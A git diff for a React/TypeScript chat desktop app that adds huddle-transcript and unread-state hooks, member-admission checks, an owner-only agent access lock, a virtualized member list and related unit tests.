+          pubkey={participant.pubkey}
+          triggerAriaLabel={`Open profile for ${participant.displayName}`}
+          triggerElement="span"
         >
-          <UserAvatar
-            avatarUrl={participant.avatarUrl}
-            className="h-8 w-8 text-xs"
-            displayName={participant.displayName}
-            size="sm"
-          />
-        </div>
+          <span
+            className={index > 0 ? "-ml-2" : ""}
+            data-testid="chat-header-dm-avatar-stack-participant"
+            style={{
+              zIndex: index + 1,
+              ...(index < stackItemCount - 1 && {
+                mask: "radial-gradient(circle 18px at calc(100% + 4px) 50%, transparent 99%, #fff 100%)",
+                WebkitMask:
+                  "radial-gradient(circle 18px at calc(100% + 4px) 50%, transparent 99%, #fff 100%)",
+              }),
+            }}
+          >
+            <UserAvatar
+              avatarUrl={participant.avatarUrl}
+              className="h-8 w-8 text-xs"
+              displayName={participant.displayName}
+              size="sm"
+            />
+          </span>
+        </UserProfilePopover>
       ))}
       {hiddenCount > 0 ? (
         <div
diff --git a/desktop/src/features/channels/ui/ChannelScreenLoadingFallback.tsx b/desktop/src/features/channels/ui/ChannelScreenLoadingFallback.tsx
new file mode 100644
index 0000000000..a566b71d90
--- /dev/null
+++ b/desktop/src/features/channels/ui/ChannelScreenLoadingFallback.tsx
@@ -0,0 +1,14 @@
+import { HuddleStartingView } from "@/features/huddle/components/HuddleStartingView";
+import { ViewLoadingFallback } from "@/shared/ui/ViewLoadingFallback";
+
+export function ChannelScreenLoadingFallback({
+  isHuddleTranscript,
+}: {
+  isHuddleTranscript: boolean;
+}) {
+  return isHuddleTranscript ? (
+    <HuddleStartingView />
+  ) : (
+    <ViewLoadingFallback includeHeader kind="channel" />
+  );
+}
diff --git a/desktop/src/features/channels/ui/ChannelTypeSettings.tsx b/desktop/src/features/channels/ui/ChannelTypeSettings.tsx
index 1ff11d2104..6883f4cad1 100644
--- a/desktop/src/features/channels/ui/ChannelTypeSettings.tsx
+++ b/desktop/src/features/channels/ui/ChannelTypeSettings.tsx
@@ -34,6 +34,7 @@ const CHANNEL_TYPE_RESIZE_TRANSITION = {
 
 export function ChannelTypeSettings({
   disabled,
+  label = "Channel type",
   onOpenChange,
   onTemporaryChange,
   onTtlSecondsChange,
@@ -43,6 +44,7 @@ export function ChannelTypeSettings({
   ttlSeconds,
 }: {
   disabled?: boolean;
+  label?: string;
   onOpenChange?: (open: boolean) => void;
   onTemporaryChange: (temporary: boolean) => void;
   onTtlSecondsChange: (ttlSeconds: number) => void;
@@ -77,9 +79,7 @@ export function ChannelTypeSettings({
         className="flex items-center justify-between gap-3 px-3 py-3"
         data-testid={`${testIdPrefix}-channel-type-row`}
       >
-        <span className="text-sm font-medium text-foreground">
-          Channel type
-        </span>
+        <span className="text-sm font-medium text-foreground">{label}</span>
         <ChannelTypePicker
           align="end"
           className="-mr-2.5"
diff --git a/desktop/src/features/channels/ui/EditRespondToDialog.tsx b/desktop/src/features/channels/ui/EditRespondToDialog.tsx
index d9f091e902..d3c3df339b 100644
--- a/desktop/src/features/channels/ui/EditRespondToDialog.tsx
+++ b/desktop/src/features/channels/ui/EditRespondToDialog.tsx
@@ -1,8 +1,12 @@
 import * as React from "react";
 
 import { useUpdateManagedAgentMutation } from "@/features/agents/hooks";
+import { useAgentAccessOwnerOnlyQuery } from "@/features/agents/useAgentAccessOwnerOnly";
 import { runLocationForBackend } from "@/features/agents/lib/agentAccessWarning";
-import { CreateAgentRespondToField } from "@/features/agents/ui/RespondToField";
+import {
+  CreateAgentRespondToField,
+  OWNER_ONLY_ACCESS_DISABLED_REASON,
+} from "@/features/agents/ui/RespondToField";
 import type { ManagedAgent, RespondToMode } from "@/shared/api/types";
 import { Button } from "@/shared/ui/button";
 import {
@@ -25,6 +29,10 @@ export function EditRespondToDialog({
   open: boolean;
 }) {
   const updateMutation = useUpdateManagedAgentMutation();
+  const { data: agentAccessOwnerOnly } = useAgentAccessOwnerOnlyQuery({
+    enabled: open,
+  });
+  const accessLocked = agentAccessOwnerOnly === true;
   const [respondTo, setRespondTo] = React.useState<RespondToMode>("owner-only");
   const [respondToAllowlist, setRespondToAllowlist] = React.useState<string[]>(
     [],
@@ -61,9 +69,12 @@ export function EditRespondToDialog({
           </DialogDescription>
         </DialogHeader>
         <CreateAgentRespondToField
-          allowlist={respondToAllowlist}
-          disabled={updateMutation.isPending}
-          mode={respondTo}
+          allowlist={accessLocked ? [] : respondToAllowlist}
+          disabled={updateMutation.isPending || accessLocked}
+          disabledReason={
+            accessLocked ? OWNER_ONLY_ACCESS_DISABLED_REASON : undefined
+          }
+          mode={accessLocked ? "owner-only" : respondTo}
           onAllowlistChange={setRespondToAllowlist}
           onModeChange={setRespondTo}
           ownerPubkey={currentPubkey}
@@ -84,7 +95,9 @@ export function EditRespondToDialog({
             Cancel
           </Button>
           <Button
-            disabled={!respondToValid || updateMutation.isPending}
+            disabled={
+              !respondToValid || updateMutation.isPending || accessLocked
+            }
             onClick={() => void handleSave()}
             size="sm"
             type="button"
diff --git a/desktop/src/features/channels/ui/MembersSidebar.tsx b/desktop/src/features/channels/ui/MembersSidebar.tsx
index 7ee4f5428d..459e8f7776 100644
--- a/desktop/src/features/channels/ui/MembersSidebar.tsx
+++ b/desktop/src/features/channels/ui/MembersSidebar.tsx
@@ -5,15 +5,22 @@ import {
   invalidateChannelState,
   useAddChannelMembersMutation,
   useChannelMembersQuery,
+  useChannelsQuery,
 } from "@/features/channels/hooks";
 import { attachManagedAgentToChannel } from "@/features/agents/channelAgents";
 import {
   coalesceAgentAutocompleteCandidates,
-  isAgentIdentityDiscoverable,
+  getMentionableAgentPubkeys,
+  getSharedChannelIds,
+  isAgentIdentityInAllowedList,
 } from "@/features/agents/lib/agentAutocompleteEligibility";
 import { useIsArchivedPredicate } from "@/features/identity-archive/hooks";
 import { useClassifiedMembers } from "@/features/channels/lib/useClassifiedMembers";
 import { formatMemberName } from "@/features/channels/lib/memberUtils";
+import {
+  canAddChannelMembers,
+  PRIVATE_CHANNEL_ADD_DENIED_MESSAGE,
+} from "@/features/channels/lib/channelMemberAdmission";
 import {
   useFlattenedUserSearchResults,
   useInfiniteUserSearchQuery,
@@ -23,6 +30,7 @@ import {
 import { formatOwnerLabel } from "@/features/profile/lib/identity";
 import { rankUserCandidatesBySearch } from "@/features/profile/lib/userCandidateSearch";
 import { usePresenceQuery } from "@/features/presence/hooks";
+import { VirtualizedList } from "@/shared/ui/VirtualizedList";
 import { useIdentityQuery } from "@/shared/api/hooks";
 import { changeChannelMemberRole } from "@/shared/api/tauri";
 import type {
@@ -155,6 +163,7 @@ export function MembersSidebar({
   >(() => new Set());
   const identityQuery = useIdentityQuery();
   const membersQuery = useChannelMembersQuery(channelId, open);
+  const channelsQuery = useChannelsQuery({ enabled: open });
   const addMembersMutation = useAddChannelMembersMutation(channelId);
   const changeRoleMutation = useMutation({
     mutationFn: async ({ pubkey, role }: { pubkey: string; role: string }) => {
@@ -191,7 +200,6 @@ export function MembersSidebar({
       ),
     [bots, currentPubkey, people],
   );
-
   const allMemberPubkeys = React.useMemo(
     () => rawMembers.map((member) => member.pubkey),
     [rawMembers],
@@ -209,9 +217,7 @@ export function MembersSidebar({
     if (!normalizedSearchQuery) {
       return activeMembers;
     }
-
     const profiles = memberProfilesQuery.data?.profiles ?? {};
-
     return activeMembers.filter((member) => {
       const normalizedPubkey = normalizePubkey(member.pubkey);
       const profile = profiles[normalizedPubkey] ?? null;
@@ -240,9 +246,18 @@ export function MembersSidebar({
     () => new Set(rawMembers.map((member) => normalizePubkey(member.pubkey))),
     [rawMembers],
   );
-  const canAddMembers =
-    (selfMember !== null || channel?.visibility === "open") &&
-    channel?.channelType !== "dm";
+  const canAddMembers = canAddChannelMembers({
+    channelType: channel?.channelType,
+    visibility: channel?.visibility,
+    selfRole: selfMember?.role,
+  });
+  // Distinguish "you can't add here" from "nothing to add" so a plain member of
+  // a private channel gets the reason instead of a silently missing affordance.
+  const showPrivateAddDeniedNotice =
+    !canAddMembers &&
+    selfMember !== null &&
+    channel?.channelType !== "dm" &&
+    channel?.visibility !== "open";
   const userSearchQuery = useInfiniteUserSearchQuery(deferredSearchQuery, {
     allowEmpty: false,
     enabled:
@@ -271,7 +286,14 @@ export function MembersSidebar({
         .map((member) => member.displayName?.trim().toLowerCase())
         .filter((label): label is string => Boolean(label)),
     );
-    const managedAgentPubkeys = new Set(managedAgentsByPubkey.keys());
+    const sharedChannelIds = getSharedChannelIds(channelsQuery.data);
+    const allowedAgentPubkeys = getMentionableAgentPubkeys({
+      currentPubkey,
+      eligibilityScope: { type: "community" },
+      managedAgentPubkeys: managedAgentsByPubkey.keys(),
+      relayAgents: relayAgentsQuery.data,
+      sharedChannelIds,
+    });
 
     const addCandidate = (candidate: AddMemberSearchCandidate) => {
       const pubkey = normalizePubkey(candidate.pubkey);
@@ -282,7 +304,7 @@ export function MembersSidebar({
           )) ||
         memberPubkeys.has(pubkey) ||
         isArchivedDiscovery(pubkey) ||
-        !isAgentIdentityDiscoverable(candidate, managedAgentPubkeys)
+        !isAgentIdentityInAllowedList(candidate, allowedAgentPubkeys)
       ) {
         return;
       }
@@ -361,6 +383,7 @@ export function MembersSidebar({
     });
   }, [
     canAddMembers,
+    channelsQuery.data,
     isArchivedDiscovery,
     currentPubkey,
     managedAgentsQuery.data,
@@ -373,7 +396,8 @@ export function MembersSidebar({
   const isAddSearchLoading =
     userSearchQuery.isLoading ||
     managedAgentsQuery.isLoading ||
-    relayAgentsQuery.isLoading;
+    relayAgentsQuery.isLoading ||
+    channelsQuery.isLoading;
   const handlePeopleSearchScroll = useUserSearchFetchMoreOnScroll(
     userSearchQuery,
     canAddMembers && normalizedDeferredSearchQuery.length > 0,
@@ -723,6 +747,14 @@ export function MembersSidebar({
                 value={searchQuery}
               />
             </label>
+            {showPrivateAddDeniedNotice ? (
+              <p
+                className="pt-2 text-sm text-muted-foreground"
+                data-testid="members-sidebar-add-denied"
+              >
+                {PRIVATE_CHANNEL_ADD_DENIED_MESSAGE}
+              </p>
+            ) : null}
           </DialogHeader>
 
           <div className="max-h-[calc(100vh-12rem)] overflow-y-auto pb-6">
@@ -782,11 +814,14 @@ export function MembersSidebar({
                     ) : null}
                   </div>
                 ) : filteredActiveMembers.length > 0 ? (
-                  <div>
-                    {filteredActiveMembers.map((member) =>
-                      renderMemberCard(member, isBot(member)),
-                    )}
-                  </div>
+                  <VirtualizedList
+                    className="h-[calc(100%_-_2.25rem)]"
+                    getItemKey={(member) => member.pubkey}
+                    items={filteredActiveMembers}
+                    renderItem={(member) =>
+                      renderMemberCard(member, isBot(member))
+                    }
+                  />
                 ) : (
                   <p className="px-4 py-3 text-sm text-muted-foreground">
                     {membersQuery.isLoading
diff --git a/desktop/src/features/channels/ui/WelcomeComposerBanner.tsx b/desktop/src/features/channels/ui/WelcomeComposerBanner.tsx
index 2d5782b28d..8d492c9181 100644
--- a/desktop/src/features/channels/ui/WelcomeComposerBanner.tsx
+++ b/desktop/src/features/channels/ui/WelcomeComposerBanner.tsx
@@ -13,14 +13,12 @@ const WELCOME_PERSONA_EXIT_DURATION_SECONDS = 0.432;
 const WELCOME_PERSONA_ENTER_STAGGER_SECONDS = 0.018;
 const WELCOME_PERSONA_EXIT_STAGGER_SECONDS = 0.011;
 const WELCOME_PERSONA_Y_OFFSET_PX = 9;
-const WELCOME_PERSONA_BLUR_PX = 6;
 const WELCOME_COMPOSER_BANNER_CONTENT_EXIT_DURATION_SECONDS = 0.18;
 const WELCOME_COMPOSER_BANNER_CONTENT_Y_OFFSET_PX = 4;
 const WELCOME_COMPOSER_BANNER_SUCCESS_ENTER_DURATION_SECONDS = 0.32;
 const WELCOME_COMPOSER_BANNER_SUCCESS_COPY_DELAY_SECONDS = 0.06;
 const WELCOME_COMPOSER_BANNER_SUCCESS_Y_OFFSET_PX = 6;
 export const WELCOME_COMPOSER_BANNER_DISMISS_DURATION_SECONDS = 0.25;
-const WELCOME_COMPOSER_BANNER_DISMISS_BLUR_PX = 3;
 export const WELCOME_COMPOSER_BANNER_HIDE_BUFFER_MS = 50;
 const WELCOME_COMPOSER_BANNER_DISMISS_Y_OFFSET_PX = 48;
 export const WELCOME_COMPOSER_BANNER_SUCCESS_SETTLE_MS = Math.round(
@@ -52,7 +50,6 @@ const welcomePersonaPhraseVariants = {
 
 const welcomePersonaCharacterVariants = {
   animate: {
-    filter: "blur(0px)",
     opacity: 1,
     transition: {
       duration: WELCOME_PERSONA_ENTER_DURATION_SECONDS,
@@ -61,7 +58,6 @@ const welcomePersonaCharacterVariants = {
     y: 0,
   },
   exit: {
-    filter: `blur(${WELCOME_PERSONA_BLUR_PX}px)`,
     opacity: 0,
     transition: {
       duration: WELCOME_PERSONA_EXIT_DURATION_SECONDS,
@@ -70,7 +66,6 @@ const welcomePersonaCharacterVariants = {
     y: -WELCOME_PERSONA_Y_OFFSET_PX,
   },
   initial: {
-    filter: `blur(${WELCOME_PERSONA_BLUR_PX}px)`,
     opacity: 0,
     y: WELCOME_PERSONA_Y_OFFSET_PX,
   },
@@ -272,7 +267,7 @@ function WelcomeComposerPersonaMention() {
         >
           {activeMentionCharacters.map(({ character, key }) => (
             <motion.span
-              className="inline-block whitespace-pre [backface-visibility:hidden] [transform-origin:50%_55%] will-change-[transform,opacity,filter]"
+              className="inline-block whitespace-pre [backface-visibility:hidden] [transform-origin:50%_55%] will-change-[transform,opacity]"
               data-testid="welcome-composer-persona-character"
               key={`${activeMention}-${key}`}
               variants={welcomePersonaCharacterVariants}
@@ -323,10 +318,6 @@ export function WelcomeComposerBanner({
       >
         <motion.div
           animate={{
-            filter:
-              state === "dismissing"
-                ? `blur(${WELCOME_COMPOSER_BANNER_DISMISS_BLUR_PX}px)`
-                : "blur(0px)",
             opacity: 1,
             y:
               state === "dismissing"
@@ -334,7 +325,7 @@ export function WelcomeComposerBanner({
                 : 0,
           }}
           className={cn(
-            "relative z-0 mx-5 -mb-3 flex transform-gpu items-center gap-2 rounded-t-2xl border border-b-0 px-4 pb-5 pt-2.5 text-sm leading-5 backdrop-blur-sm transition-colors will-change-[filter,transform]",
+            "relative z-[1] mx-5 -mb-3 flex items-center gap-2 rounded-t-2xl border border-b-0 px-4 pb-5 pt-2.5 text-sm leading-5 transition-colors",
             state !== "prompt"
               ? "border-emerald-500/30 bg-emerald-500/15 text-foreground"
               : "border-border/60 bg-muted/55 text-muted-foreground",
diff --git a/desktop/src/features/channels/ui/useChannelOpenReadState.test.mjs b/desktop/src/features/channels/ui/useChannelOpenReadState.test.mjs
new file mode 100644
index 0000000000..4f54d8b309
--- /dev/null
+++ b/desktop/src/features/channels/ui/useChannelOpenReadState.test.mjs
@@ -0,0 +1,25 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import { getTopLevelInboxUnreadOverrideIds } from "./useChannelOpenReadState.ts";
+
+test("opening a channel clears only its top-level Inbox overrides", () => {
+  assert.deepEqual(
+    getTopLevelInboxUnreadOverrideIds(
+      [
+        { id: "top-level", channelId: "general", tags: [] },
+        {
+          id: "thread-reply",
+          channelId: "general",
+          tags: [
+            ["e", "root", "", "root"],
+            ["e", "parent", "", "reply"],
+          ],
+        },
+        { id: "other-channel", channelId: "random", tags: [] },
+      ],
+      "general",
+    ),
+    ["top-level"],
+  );
+});
diff --git a/desktop/src/features/channels/ui/useChannelOpenReadState.ts b/desktop/src/features/channels/ui/useChannelOpenReadState.ts
new file mode 100644
index 0000000000..ff927c00bb
--- /dev/null
+++ b/desktop/src/features/channels/ui/useChannelOpenReadState.ts
@@ -0,0 +1,45 @@
+import * as React from "react";
+
+import { useAppShell } from "@/app/AppShellContext";
+import { isThreadReply } from "@/features/messages/lib/threading";
+import type { FeedItem } from "@/shared/api/types";
+
+/**
+ * Inbox overrides for top-level rows are consumed by opening the channel.
+ * Thread-reply overrides intentionally remain until their thread is read.
+ */
+export function getTopLevelInboxUnreadOverrideIds(
+  items: FeedItem[],
+  channelId: string,
+): string[] {
+  return items.flatMap((item) =>
+    item.channelId === channelId && !isThreadReply(item.tags) ? [item.id] : [],
+  );
+}
+
+export function useChannelOpenReadState(
+  activeChannelId: string | null,
+  isChannelMember: boolean | undefined,
+  activeReadAt: string | null,
+) {
+  const { feedItemState, locallyUnreadFeedItems, markChannelRead } =
+    useAppShell();
+
+  React.useEffect(() => {
+    if (!activeChannelId || isChannelMember === false) return;
+    for (const itemId of getTopLevelInboxUnreadOverrideIds(
+      locallyUnreadFeedItems,
+      activeChannelId,
+    )) {
+      feedItemState.undoUnread(itemId);
+    }
+    markChannelRead(activeChannelId, activeReadAt, { topLevelOnly: true });
+  }, [
+    activeChannelId,
+    activeReadAt,
+    feedItemState.undoUnread,
+    isChannelMember,
+    locallyUnreadFeedItems,
+    markChannelRead,
+  ]);
+}
diff --git a/desktop/src/features/channels/ui/useChannelPaneMessages.ts b/desktop/src/features/channels/ui/useChannelPaneMessages.ts
new file mode 100644
index 0000000000..a2de4bbfe9
--- /dev/null
+++ b/desktop/src/features/channels/ui/useChannelPaneMessages.ts
@@ -0,0 +1,50 @@
+import * as React from "react";
+import {
+  isChannelCreatedSystemMessage,
+  isWelcomeSetupSystemMessage,
+} from "@/features/channels/ui/ChannelPane.helpers";
+import type { ChannelPaneProps } from "@/features/channels/ui/ChannelPane.types";
+import { buildMainTimelineEntries } from "@/features/messages/lib/threadPanel";
+import { isWelcomeExperienceChannel } from "@/features/onboarding/welcome";
+
+type ChannelPaneMessagesOptions = Pick<
+  ChannelPaneProps,
+  "activeChannel" | "messages" | "profiles" | "threadSummaries"
+> & {
+  isHuddleTranscript: boolean;
+};
+
+export function useChannelPaneMessages({
+  activeChannel,
+  isHuddleTranscript,
+  messages,
+  profiles,
+  threadSummaries,
+}: ChannelPaneMessagesOptions) {
+  const visibleMessages = React.useMemo(() => {
+    const withoutWelcomeSetup = isWelcomeExperienceChannel(activeChannel)
+      ? messages.filter((message) => !isWelcomeSetupSystemMessage(message))
+      : messages;
+
+    return isHuddleTranscript
+      ? withoutWelcomeSetup.filter(
+          (message) => !isChannelCreatedSystemMessage(message),
+        )
+      : withoutWelcomeSetup;
+  }, [activeChannel, isHuddleTranscript, messages]);
+
+  const mainTimelineEntries = React.useMemo(
+    () =>
+      isHuddleTranscript
+        ? visibleMessages.map((message) => ({ message, summary: null }))
+        : buildMainTimelineEntries(
+            visibleMessages,
+            new Set(),
+            threadSummaries,
+            profiles,
+          ),
+    [isHuddleTranscript, profiles, threadSummaries, visibleMessages],
+  );
+
+  return { mainTimelineEntries, visibleMessages };
+}
diff --git a/desktop/src/features/channels/ui/useChannelUnreadState.ts b/desktop/src/features/channels/ui/useChannelUnreadState.ts
index dc24023555..884aa02d8e 100644
--- a/desktop/src/features/channels/ui/useChannelUnreadState.ts
+++ b/desktop/src/features/channels/ui/useChannelUnreadState.ts
@@ -1,5 +1,6 @@
 import * as React from "react";
 
+import type { ForcedUnreadSource } from "@/features/channels/forcedUnreadStore";
 import {
   buildCreatedAtByMessageId,
   buildDirectReplyIdsByParentId,
@@ -36,6 +37,10 @@ type UseChannelUnreadStateOptions = {
   openThreadMessages?: MainTimelineEntry[];
   getChannelReadAt: (channelId: string) => number | null;
   getMessageReadAt: (messageId: string) => number | null;
+  clearChannelUnreadSource: (
+    channelId: string,
+    source: ForcedUnreadSource,
+  ) => void;
   markChannelUnread: (channelId: string) => void;
   markMessageRead: (messageId: string, timestamp: number) => void;
   isThreadMuted: (rootId: string) => boolean;
@@ -64,6 +69,7 @@ export function useChannelUnreadState({
   openThreadMessages,
   getChannelReadAt,
   getMessageReadAt,
+  clearChannelUnreadSource,
   markChannelUnread,
   markMessageRead,
   isThreadMuted,
@@ -452,16 +458,26 @@ export function useChannelUnreadState({
         const createdAt = createdAtByMessageId.get(id);
         if (createdAt !== undefined) markMessageRead(id, createdAt);
       }
+      if (activeChannelId && forcedUnreadMsgRef.current.size === 0) {
+        clearChannelUnreadSource(activeChannelId, "manual");
+      }
       forceUnreadRender();
     },
-    [createdAtByMessageId, getReplyDescendantIdsForMessage, markMessageRead],
+    [
+      activeChannelId,
+      clearChannelUnreadSource,
+      createdAtByMessageId,
+      getReplyDescendantIdsForMessage,
+      markMessageRead,
+    ],
   );
 
   // Mark a message and its whole subtree UNREAD (LP4 v3 menu action). Markers
   // are monotonic and cannot move backward, so this writes NO marker: it adds
   // the ids to the session-local forced-unread overlay the badge predicates OR
-  // in. Cleared on channel-leave; does not survive reload (symmetric with the
-  // shipped channel mark-unread).
+  // in. It also forces the channel-level unread projection so leaving the
+  // channel restores its bold sidebar emphasis. The per-message overlay is
+  // cleared on channel-leave; the channel-level force survives until reopen.
   const handleMarkMessageUnread = React.useCallback(
     (messageId: string) => {
       for (const id of [
@@ -470,9 +486,12 @@ export function useChannelUnreadState({
       ]) {
         forcedUnreadMsgRef.current.add(id);
       }
+      if (activeChannelId) {
+        markChannelUnread(activeChannelId);
+      }
       forceUnreadRender();
     },
-    [getReplyDescendantIdsForMessage],
+    [activeChannelId, getReplyDescendantIdsForMessage, markChannelUnread],
   );
 
   return {
diff --git a/desktop/src/features/channels/ui/useHuddleChannelMessages.ts b/desktop/src/features/channels/ui/useHuddleChannelMessages.ts
new file mode 100644
index 0000000000..acbf831dd2
--- /dev/null
+++ b/desktop/src/features/channels/ui/useHuddleChannelMessages.ts
@@ -0,0 +1,72 @@
+import * as React from "react";
+import { useHuddle } from "@/features/huddle/HuddleContext";
+import { huddleWindowChannelId } from "@/features/huddle/lib/huddleWindow";
+import { mergeMessages } from "@/features/messages/hooks";
+import {
+  channelWindowThreadSummaries,
+  type ChannelWindowStore,
+} from "@/features/messages/lib/channelWindowStore";
+import { useThreadRepliesForRoots } from "@/features/messages/useThreadReplies";
+import type { Channel, RelayEvent } from "@/shared/api/types";
+
+export function useIsHuddleTranscript(activeChannelId: string | null) {
+  const { activeEphemeralChannelId } = useHuddle();
+  return (
+    huddleWindowChannelId() !== null ||
+    (activeChannelId !== null && activeChannelId === activeEphemeralChannelId)
+  );
+}
+
+type HuddleChannelMessagesOptions = {
+  activeChannel: Channel | null;
+  findEvents: RelayEvent[];
+  isHuddleTranscript: boolean;
+  messages: RelayEvent[];
+  targetMessageEvents: RelayEvent[];
+  windowStore?: ChannelWindowStore;
+};
+
+export function useHuddleChannelMessages({
+  activeChannel,
+  findEvents,
+  isHuddleTranscript,
+  messages,
+  targetMessageEvents,
+  windowStore,
+}: HuddleChannelMessagesOptions) {
+  const resolvedChannelMessages = React.useMemo(() => {
+    const extraEvents = [...targetMessageEvents, ...findEvents];
+    if (!activeChannel || extraEvents.length === 0) return messages;
+    return extraEvents.reduce(mergeMessages, messages);
+  }, [activeChannel, findEvents, messages, targetMessageEvents]);
+
+  const threadSummaries = React.useMemo(
+    () => (windowStore ? channelWindowThreadSummaries(windowStore) : new Map()),
+    [windowStore],
+  );
+  const huddleThreadRootIds = React.useMemo(
+    () =>
+      isHuddleTranscript
+        ? [...threadSummaries.entries()]
+            .filter(([, summary]) => summary.descendantCount > 0)
+            .map(([rootId]) => rootId)
+        : [],
+    [isHuddleTranscript, threadSummaries],
+  );
+  const huddleThreadReplies = useThreadRepliesForRoots(
+    activeChannel,
+    huddleThreadRootIds,
+  );
+  const resolvedMessages = React.useMemo(
+    () =>
+      isHuddleTranscript
+        ? huddleThreadReplies.events.reduce(
+            mergeMessages,
+            resolvedChannelMessages,
+          )
+        : resolvedChannelMessages,
+    [huddleThreadReplies.events, isHuddleTranscript, resolvedChannelMessages],
+  );
+
+  return { resolvedMessages, threadSummaries };
+}
diff --git a/desktop/src/features/channels/ui/useHuddleReadMarker.ts b/desktop/src/features/channels/ui/useHuddleReadMarker.ts
new file mode 100644
index 0000000000..a9188fa27f
--- /dev/null
+++ b/desktop/src/features/channels/ui/useHuddleReadMarker.ts
@@ -0,0 +1,89 @@
+import * as React from "react";
+
+import { getThreadReference } from "@/features/messages/lib/threading";
+import type { RelayEvent } from "@/shared/api/types";
+
+type MarkChannelRead = (
+  channelId: string,
+  readAt: string | null | undefined,
+  options?: { topLevelOnly?: boolean },
+) => void;
+
+type HuddleReadMarkerOptions = {
+  activeChannelId: string | null;
+  activeChannelIsMember: boolean | undefined;
+  isHuddleTranscript: boolean;
+  markChannelRead: MarkChannelRead;
+  messages: RelayEvent[] | undefined;
+  resolvedMessages: RelayEvent[];
+};
+
+export function useHuddleReadMarker({
+  activeChannelId,
+  activeChannelIsMember,
+  isHuddleTranscript,
+  markChannelRead,
+  messages,
+  resolvedMessages,
+}: HuddleReadMarkerOptions) {
+  const latestActiveMessage = React.useMemo(() => {
+    if (!messages) return null;
+    for (let index = messages.length - 1; index >= 0; index -= 1) {
+      if (getThreadReference(messages[index].tags).parentId === null) {
+        return messages[index];
+      }
+    }
+    return null;
+  }, [messages]);
+  const activeReadAt = latestActiveMessage
+    ? new Date(latestActiveMessage.created_at * 1_000).toISOString()
+    : null;
+  const latestHuddleTranscriptMessage = React.useMemo(
+    () =>
+      isHuddleTranscript
+        ? resolvedMessages.reduce<RelayEvent | null>(
+            (latest, message) =>
+              latest === null || message.created_at > latest.created_at
+                ? message
+                : latest,
+            null,
+          )
+        : null,
+    [isHuddleTranscript, resolvedMessages],
+  );
+  const hasFlattenedHuddleReplies = React.useMemo(
+    () =>
+      isHuddleTranscript &&
+      resolvedMessages.some(
+        (message) => getThreadReference(message.tags).parentId !== null,
+      ),
+    [isHuddleTranscript, resolvedMessages],
+  );
+  const huddleReadAt = latestHuddleTranscriptMessage
+    ? new Date(latestHuddleTranscriptMessage.created_at * 1_000).toISOString()
+    : activeReadAt;
+  const lastHuddleReadKeyRef = React.useRef<string | null>(null);
+
+  React.useEffect(() => {
+    if (!activeChannelId || activeChannelIsMember === false) return;
+    const huddleReadKey = hasFlattenedHuddleReplies
+      ? `${activeChannelId}:${huddleReadAt}`
+      : null;
+    if (
+      huddleReadKey !== null &&
+      lastHuddleReadKeyRef.current === huddleReadKey
+    ) {
+      return;
+    }
+    markChannelRead(activeChannelId, huddleReadAt, {
+      topLevelOnly: !hasFlattenedHuddleReplies,
+    });
+    lastHuddleReadKeyRef.current = huddleReadKey;
+  }, [
+    activeChannelId,
+    activeChannelIsMember,
+    hasFlattenedHuddleReplies,
+    huddleReadAt,
+    markChannelRead,
+  ]);
+}
diff --git a/desktop/src/features/channels/ui/useHuddleThreadIsolation.ts b/desktop/src/features/channels/ui/useHuddleThreadIsolation.ts
new file mode 100644
index 0000000000..c32c809a88
--- /dev/null
+++ b/desktop/src/features/channels/ui/useHuddleThreadIsolation.ts
@@ -0,0 +1,24 @@
+import * as React from "react";
+
+type HuddleThreadIsolationOptions = {
+  closeThread: (threadId: string | null) => void;
+  isHuddleTranscript: boolean;
+  openThreadHeadId: string | null;
+  optimisticOpenThreadHeadId: string | null | undefined;
+};
+
+export function useHuddleThreadIsolation({
+  closeThread,
+  isHuddleTranscript,
+  openThreadHeadId,
+  optimisticOpenThreadHeadId,
+}: HuddleThreadIsolationOptions): string | null {
+  React.useEffect(() => {
+    if (!isHuddleTranscript || openThreadHeadId === null) return;
+    closeThread(null);
+  }, [closeThread, isHuddleTranscript, openThreadHeadId]);
+  if (isHuddleTranscript) return null;
+  return optimisticOpenThreadHeadId === undefined
+    ? openThreadHeadId
+    : optimisticOpenThreadHeadId;
+}
diff --git a/desktop/src/features/channels/unreadChannelCounts.ts b/desktop/src/features/channels/unreadChannelCounts.ts
index cb33c62975..aae9c5096e 100644
--- a/desktop/src/features/channels/unreadChannelCounts.ts
+++ b/desktop/src/features/channels/unreadChannelCounts.ts
@@ -78,6 +78,19 @@ export function countUnreadObservedEvents(
   return count;
 }
 
+export function hasUnreadTopLevelObservedEvent(
+  eventsById: ReadonlyMap<string, ObservedUnreadEvent> | undefined,
+  getReadAt: (event: ObservedUnreadEvent) => number | null,
+): boolean {
+  if (!eventsById) return false;
+  for (const event of eventsById.values()) {
+    if (event.rootId !== null) continue;
+    const readAt = getReadAt(event);
+    if (readAt === null || event.createdAt > readAt) return true;
+  }
+  return false;
+}
+
 export function countUnreadBadgeObservedEvents(
   eventsById: ReadonlyMap<string, ObservedUnreadEvent> | undefined,
   getReadAt: (event: ObservedUnreadEvent) => number | null,
diff --git a/desktop/src/features/channels/unreadReadMarker.test.mjs b/desktop/src/features/channels/unreadReadMarker.test.mjs
index 6ea0916413..660d4f5c61 100644
--- a/desktop/src/features/channels/unreadReadMarker.test.mjs
+++ b/desktop/src/features/channels/unreadReadMarker.test.mjs
@@ -7,6 +7,7 @@ import {
   countUnreadBadgeObservedEvents,
   countUnreadHighPriorityObservedEvents,
   countUnreadObservedEvents,
+  hasUnreadTopLevelObservedEvent,
   observedUnreadEventReadAt,
   recordObservedUnreadEvent,
 } from "./unreadChannelCounts.ts";
@@ -368,6 +369,30 @@ test("countUnreadObservedEvents_topLevelUsesChannelMarker", () => {
   assert.equal(countUnreadObservedEvents(events, readAtFor(300, new Map())), 1);
 });
 
+test("hasUnreadTopLevelObservedEvent_ignoresUnreadThreadReplies", () => {
+  const events = new Map([
+    ["top-old", observed("top-old", 250)],
+    ["thread-new", observed("thread-new", 500, "root-1")],
+  ]);
+
+  assert.equal(
+    hasUnreadTopLevelObservedEvent(events, readAtFor(300, new Map())),
+    false,
+  );
+});
+
+test("hasUnreadTopLevelObservedEvent_detectsUnreadTopLevelMessage", () => {
+  const events = new Map([
+    ["top-new", observed("top-new", 350)],
+    ["thread-new", observed("thread-new", 500, "root-1")],
+  ]);
+
+  assert.equal(
+    hasUnreadTopLevelObservedEvent(events, readAtFor(300, new Map())),
+    true,
+  );
+});
+
 test("countUnreadBadgeObservedEvents_skipsBoldOnlyGeneralChannelItems", () => {
   const events = new Map([
     ["plain", observed("plain", 500, null, false, false)],
